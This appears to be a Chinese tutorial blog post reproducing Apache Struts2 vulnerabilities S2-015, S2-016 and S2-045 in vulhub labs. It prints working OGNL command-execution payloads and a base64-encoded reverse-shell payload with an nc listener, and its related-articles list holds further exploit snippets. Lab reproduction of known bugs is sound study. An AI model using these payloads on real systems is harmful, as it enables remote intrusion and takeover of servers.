Struts2漏洞 - Struts2-015 Struts2-016 Struts2-045

article/2025/9/23 7:56:56

文章目录

  • Struts2简介
  • Struts2历史漏洞
  • Struts2历史漏洞发现
    • Struts2框架识别
  • Struts2历史漏洞利用
    • Struts2-015
      • 漏洞简介
      • 影响范围
      • 环境搭建
      • 漏洞复现
    • Struts2-016
      • 漏洞简介
      • 影响范围
      • 环境搭建
      • 漏洞复现
    • Struts2-045
      • 漏洞简介
      • 影响范围
      • 环境搭建
      • 漏洞复现

Struts2简介

Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web 应用的开源MVC框架,主要提供两个版本框架产品: Struts 1和Struts2;Struts2是一个基于
MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。

Struts2历史漏洞

漏洞编号CVE编号影响版本发送数据实现功能
S2-001CVE-2007-4556Struts 2.0.0-2.0.8POST请求发送数据;默认参数为:username,password获取WEB路径,任意命令执行和反弹shel
S2-003Struts 2.0.0-2.0.11.2GET请求发送数据任意命令执行
S2-005CVE-2010-1870Struts 2.0.0-2.1.8.1GET请求发送数据获取WEB路径,任意命令执行
S2-007CVE-2012-0838Struts 2.0.0-2.2.3POST请求发送数据;默认参数为:username,password任意命令执行和反弹shell
S2-008CVE-2012-0391Struts 2.1.0-2.3.1GET请求发送数据任意命令执行和反弹shell
S2-009CVE-2011-3923Struts 2.0.0-2.3.1.1GET请求发送数据,URL后面需要请求参数名; 默认参数: key任意命令执行和反shell
S2-012CVE-2013-1965StrutsShowcaseApp 2.0.0-2.3.13GET请求发送数据,参数直接添加到URL后面; 默认参数:name任意命令执行和反弹shell
S2-013/S2-014CVE-2013-1966Struts 2.0.0-2.3.14.1GET请求发送数据获取WEB路径,任意命令执行,反弹shell和文件上传
S2-015CVE-2013-2135Struts 2.0.0-2.3.14.2GET请求发送数据任意命令执行和反弹shell
S2-016CVE-2013-2251Struts 2.0.0-2.3.15GET请求发送数据获取WEB路径,任意命令执行,反弹shell和文件上传
S2-019CVE-2013-4316Struts 2.0.0-2.3.15.1GET请求发送数据获取WEB路径,任意命令执行,反弹shell和文件上传
S2-020CVE-2014-0094Struts 2.0.0–2.3.16GET请求发送数据任意命令执行,反弹shell和文件上传
S2-029CVE-2016-0785Struts 2.0.0-2.3.24.1(除了2.3.20.3)POST请求发送数据,需要参数; 默认参数:message任意命令执行和反弹shell
S2-032CVE-2016-3081Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3)GET请求发送数据获取WEB路径,任意命令执行和反弹shell
S2-033CVE-2016-3087Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3)GET请求发送数据任意命令行和反弹shell
S2-037CVE-2016-4438Struts 2.3.20-2.3.28.1GET请求发送数据获取WEB路径,任意命令执行和反弹shell
S2-045CVE-2017-5638Struts 2.3.5-2.3.31,2.5-2.5.10POST请求发送数据,不需要参数获取WEB路径,任意命令执行,反弹shel和文件上传
S2-052CVE-2017-9805Struts 2.1.2-2.3.33,2.5-2.5.12POST请求发送数据,不需要参数任意命令执行,反弹shell和文件上传
S2-053CVE-2017-12611Struts 2.0.1–2.3.33,2.5–2.5.10GET请求发送数据任意命令执行,反弹shell
S2-057CVE-2018-11776Struts 2.3–2.3.34,2.5–2.5.16GET请求发送数据任意命令执行,反弹shell
S2-059CVE-2019-0230Struts 2.0.0-2.5.20POST请求发送数据任意命令执行

Struts2历史漏洞发现

Struts2框架识别

  1. 通过网页后缀来进行判断,如 .do 或者 .action

  2. 通过 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为true。

  3. 通过页面回显的错误消息来判断,页面不回显错误消息时则无效。

  4. 通过 actionErrors。要求是对应的 Action 需要继承自 ActionSupport 类。
    如:原始 URL 为 https://xxx.com/ 则检测所用的 URL 为 https://xxx.com/?actionErrors=1111

如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。异常包括但不限于以下几种现象:

1、 页面直接出现 404 或者 500 等错误。

2、 页面上输出了与业务有关错误消息,或者 1111 被回显到了页面上。

3、 页面的内容结构发生了明显的改变。

4、 页面发生了重定向。

Struts2历史漏洞利用

Struts2-015

漏洞简介

漏洞编号:S2-015
CVE编号:CVE-2013-2134漏洞/CVE-2013-2135漏洞

这个漏洞有两种,一种:

在Struts2中没有对Action的名称没有进行转义和白名单检查所造成ognl表达式被解析,从而执行恶意代码.其中一个场景是当action的name配置为通配符时,可通过访问.action来传入ognl表达式,并在加载jsp文件时触发执行.漏洞原理跟S2-012类似,S2-012利用的重定向类型,S2-015利用的Action的名称.

第二种:

 当\$和%字符组合使用时,ognl表达式会被TextParseUtil.translateVariables二次执行.
<action name="Helloworld" class="org.test.HelloworldAction"><result name="success" type="httpheader"><param name="headers.foobar">\${message}</param></result>
</action>

影响范围

影响版本范围为:

S2.0.0-2.3.14.2

环境搭建

vulhub

进入到vulhub-master目录下

ls 
cd strtus2 
ls 
cd s2-015 
ls 
docker-compose up -d

查看是否搭建成功。

docker ps

访问靶场地址,如图即可搭建成功

http://ip:port

漏洞复现

payload

${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()),#q}

payload url编码

%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27whoami%27).getInputStream())%2C%23q%7D.action

使用burp抓包,插入payload,执行了’whoami’并返回到了页面

使用工具进行命令执行

Struts2-016

漏洞简介

原理:问题主要出在对于特殊URL处理中,redirect与redirectAction后面跟上Ognl表达式会被服务器执行。

漏洞编号:S2-016
CVE编号:CVE-2013-2251

影响范围

Struts 2.0.0 – 2.3.15

环境搭建

vulhub

进入到vulhub-master目录下

ls 
cd strtus2 
ls 
cd s2-016 
ls 
docker-compose up -d

漏洞复现

poc测试

/index.action?redirect:%25%7B5*5%7D

执行返回了结果,说明存在漏洞

使用工具进行命令执行。

Struts2-045

漏洞简介

漏洞编号:S2-045
CVE编号:cve-2017-5638
安恒信息安全研究院WEBIN实验室高级安全研究员nike.zheng发现著名J2EE框架——Struts2存在远程代码执行的严重漏洞,定级为高风险

在使用基于 Jakarta 插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改 HTTP 请求头中的 Content-Type 值来触发该漏洞,进而执行系统命令。

影响范围

影响版本范围为:
Struts 2.3.5 – Struts 2.3.31
Struts 2.5 – Struts 2.5.10

环境搭建

ls 
cd strtus2 
ls 
cd s2-045 
ls 
docker-compose up -d

访问靶场地址

http://192.168.88.128:8080/doUpload.action

漏洞复现

  1. 随意上传一个文件并抓包
  2. 修改Content-Type为以下内容
"%{(#xxx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

xxx='multipart/form-data’主要是让struts程序content_type.contains(“multipart/form- data”)判断为true

反弹shell payload

"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMC85OTk5IDA+JjE=|base64 -d|bash -i').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMC85OTk5IDA+JjE=#为反弹shell的bach命令

使用burp抓包,修改content-type字段为反弹shell payload

打开攻击机端口监听

nc -lvvp 9999

即可拿到靶机权限


http://chatgpt.dhexx.cn/article/DMWmR9Iy.shtml

相关文章

Struts2漏洞S2-005复现

1.漏洞描述 s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12)&#xff0c;struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象&#xff0c;struts框架通过过滤#字符防止安全问题&#xff0c;然而通过unicode编码…

Struts2 漏洞集合

Struts2 漏洞集合 总结了一部分 Strtus2 漏洞&#xff0c;虽然现在这部分的漏洞很少了&#xff0c;但也是学习的一部分&#xff0c;收集的并不全面&#xff0c;后续会做补充。 漏洞环境搭建可以使用在线的 Vulfocus &#xff0c;或者使用docker部署 S2-001 &#xff08;CVE-…

Vulhub靶场之struts2漏洞复现

简介 struts2漏洞中属s2系列杀伤力最大&#xff0c;可以造成远程命令执行漏洞。 Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530)&#xff0c;在使用某些tag等情况下可能…

java struts2 漏洞_Struts2漏洞利用

Struts漏洞合集 Struts-S2-013漏洞利用 受影响版本 Struts 2.0.0 - Struts 2.3.14.1 漏洞利用 任意命令执行POC&#xff1a; ${(#_memberAccess["allowStaticMethodAccess"]true,#ajava.lang.RuntimegetRuntime().exec(id).getInputStream(),#bnew java.io.InputStre…

struts2漏洞监测_全版本struts2漏洞练习

docker中有struts2全版本的漏洞平台 1、首先在docker中进行下载&#xff1a; # docker pull 2d8ru/struts2 2、其次运行&#xff1a;(48729为物理机的端口&#xff0c;可随意指定) # docker run --name struts2 -p48729:8080 -d 2d8ru/struts2 3、下载struts2漏洞扫描工具&…

Struts2漏洞复现

一. S2-016复现 打开测试靶场&#xff0c;测试该网站存在index.action路径 漏洞原理: 参数action的值redirect以及redirectAction没有正确过滤&#xff0c;导致ognl代码执行 测试POC&#xff1a; 2.1 /index.action?redirect:%25{3*4}2.2 /index.action?redirect:%…

java struts2 漏洞_Struts2漏洞简述

S2-005漏洞 S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号&#xff0c;S2-003对#号进行过滤&#xff0c;但是没有考虑到unicode编码情况&#xff0c;导致\u0023或者8进制\43绕过。 S2-005则是绕过官方的安全配置(禁止…

【渗透测试】Struts2系列漏洞

目录 &#x1f337;S2-001 &#x1f33c;1、漏洞原理 &#x1f33c;2、影响版本 &#x1f33c;3、验证方法 &#x1f337;S2-005 &#x1f33c;1、漏洞原理 &#x1f33c;2、影响版本 &#x1f33c;3、验证方法&#xff08;无回显&#xff09; &#x1f33c;4、验证方法&#x…

Struts2漏洞分析与复现合集

文章目录 一、基础知识Struts2简介&#xff1a; 二、漏洞复现1、S2-001&#xff08;OGNL 循环解析导致的 RCE 漏洞&#xff09;漏洞原理&#xff1a;影响版本&#xff1a;环境搭建&#xff1a;poc&#xff1a;漏洞利用&#xff1a; 2、S2-005&#xff08;S2-003 的绕过&#xf…

框架/组件漏洞系列1:struts2漏洞汇总

前言&#xff1a; 本篇文章中复现的漏洞不是特别全面&#xff0c;但是挑选了最近两年的漏洞进行复现&#xff0c;旨在对漏洞进行有用复现&#xff0c;毕竟一些老漏洞已经基本不存在了。 一、Struts简介 1、简介 基本介绍&#xff1a; Struts是Apache软件基金会&#xff08…

struts2漏洞

文章目录 漏洞一、struts2漏洞 S2-001漏洞原理复现 二、struts2漏洞 S2-005原理 分析一下003复现 三、struts2漏洞s2-007四、struts2漏洞 S2-008原理复现 五、struts2漏洞 S2-009原理复现 六、struts2漏洞 S2-012原理复现 七、struts2漏洞 S2-013原理复现 八、struts2漏洞 S2-0…

传奇私服搭建+微端

微端服务器引擎 数据库 客户端 版本 本来想发网盘链接&#xff0c;文件涉及敏感无法分享&#xff0c;需要的可以私下给你发。 企鹅号&#xff1a;1404765471 首先准备 1.三台服务器&#xff08;服务端服务器 微端服务器 列表服务器&#xff09;推荐Windows2008系统 2.私服…

传奇开服怎么开服?不会技术自己能开服吗?传奇开服需要准备什么?前期需要投入多少?

传奇开服怎么开服&#xff1f;不会技术自己能开服吗&#xff1f;传奇开服需要准备什么&#xff1f;前期需要投入多少&#xff1f; 作为经典怀旧游戏&#xff0c;传奇赢得了许多人的青睐&#xff0c;在这个科技的时代&#xff0c;玩服已经满足不了了&#xff0c;多数人会选择自己…

gm修改爆率需要重启服务器吗,传奇SF服务端上修改怪物爆率图文教程

修改怪物爆率基本上是每个版本在改的时候要走的一步&#xff0c;因为每个GM思路不同&#xff0c;想法不同&#xff0c;他给玩家展现出来的版本也不同&#xff0c;就是自己玩单机也要去改&#xff0c;谁不想爆率高点对吧&#xff0c;今天给大家讲解一下通过修改服务端的怪物爆率…

传奇私服游戏支付接口申请(已解决)

传奇游戏是一款经典打怪升级-PK游戏&#xff0c;盛大游戏公司于2001年9月发布&#xff0c;随后出现了众多传奇私服游戏版本。到现在依然受很多人喜爱&#xff0c;经历了多次升级换代&#xff0c;现已转变为游戏体验更加细腻的页游和手游&#xff0c;成为了小成本高收益的热门游…

传奇开服架设教程

传奇架设其实很简单 很多网友非常爱玩这款游戏&#xff0c;可能还有朋友不知道怎么架设这款游戏 今天特意写篇传奇架设教程&#xff0c;希望大家都能打造出真正属于自己的传奇 首先传奇架设需要准备以下几个软件 准备工具&#xff1a; 1、传奇服务端&#xff08;版本&#…

传奇私服搭建网站的几种方法

搭建网站的几种方法&#xff1a; 一些人&#xff0c;连简单的搭建网站都不会&#xff0c;还要请技术帮忙&#xff0c;真是牛B&#xff0c;这里简单介绍下几种办法 一&#xff1a;2003系统下&#xff0c;直接使用IIS&#xff0c;这个太简单了&#xff0c;桌面上就有IIS&#xff…

传奇h5私服源码+教程

传奇h5私服源码教程 这几天突然想拿服务器做些什么&#xff0c;就想到搭一个私服游戏&#xff0c;学习娱乐一下。废话不多说下面给教程和源码。 传奇h5源码&#xff1a;https://download.csdn.net/download/qq_37258192/11997500 &#xff08;重新上传了1次&#xff0c;积分变…

传奇私服服务器上怎么修改爆率,传奇私服怎么一次性调整爆率

满意答案 yhd514468637 推荐于 2017.10.03 怪物爆率文件在D:\Mirserver\Mir200\Envir\MonItems下面&#xff0c;一般默认的怪物爆率就已经非常不错&#xff0c;但根据服务器人数&#xff0c;有时候还是需要对爆率进行调整。 关于调整沃玛装备 沃玛装备为底级装备&#xff0c;控…

传奇架设-设置GM以及刷装备教程

传奇游戏虽然已经那么多年了&#xff0c;但是新手还是不断的在涌入进来&#xff0c;想学私服技术的也很多。 今天来说一下怎么设置GM&#xff0c;和怎么看命了吧&#xff01;本来想做一个视频的&#xff0c;但是我觉得这个太过简单&#xff0c;图文还来的简单。 《第一章&…